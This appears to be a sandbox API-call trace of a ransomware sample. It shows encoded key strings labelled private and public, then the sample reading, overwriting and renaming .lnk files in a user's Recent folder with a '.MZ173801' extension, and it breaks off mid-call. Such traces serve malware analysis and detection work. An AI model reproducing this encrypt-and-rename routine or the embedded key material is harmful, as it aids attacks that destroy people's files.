lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.060] GetCurrentThreadId () returned 0xab4 [0152.060] GetCurrentThreadId () returned 0xab4 [0152.060] GetCurrentThreadId () returned 0xab4 [0152.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.061] GetCurrentThreadId () returned 0xab4 [0152.061] GetCurrentThreadId () returned 0xab4 [0152.061] GetCurrentThreadId () returned 0xab4 [0152.061] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SyPgeh2hWXPmhIqZ_oMv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\sypgeh2hwxpmhiqz_omv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.061] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.061] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.062] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3f3 [0152.062] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.062] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3f3, lpOverlapped=0x0) returned 1 [0152.196] CloseHandle (hObject=0x280) returned 1 [0152.197] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SyPgeh2hWXPmhIqZ_oMv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\sypgeh2hwxpmhiqz_omv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.198] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3f3, lpOverlapped=0x0) returned 1 [0152.199] CloseHandle (hObject=0x280) returned 1 [0152.204] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SyPgeh2hWXPmhIqZ_oMv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\sypgeh2hwxpmhiqz_omv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SyPgeh2hWXPmhIqZ_oMv.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\sypgeh2hwxpmhiqz_omv.lnk.mz173801")) returned 1 [0152.205] GetCurrentThreadId () returned 0xab4 [0152.205] GetCurrentThreadId () returned 0xab4 [0152.205] GetCurrentThreadId () returned 0xab4 [0152.205] GetCurrentThreadId () returned 0xab4 [0152.205] GetCurrentThreadId () returned 0xab4 [0152.205] GetCurrentThreadId () returned 0xab4 [0152.205] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f7ba0fb, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x7f7ba0fb, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7f7ba0fb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="TNMTkGiMBk1T.lnk", cAlternateFileName="TNMTKG~1.LNK")) returned 1 [0152.205] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.205] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.205] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TNMTkGiMBk1T.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tnmtkgimbk1t.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f7ba0fb, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x7f7ba0fb, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x7f7ba0fb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3c4)) returned 1 [0152.205] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TNMTkGiMBk1T.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\tnmtkgimbk1t.lnk")) returned 0x20 [0152.205] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\TNMTkGiMBk1T.lnk", dwFileAttributes=0x80) returned 1 [0152.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 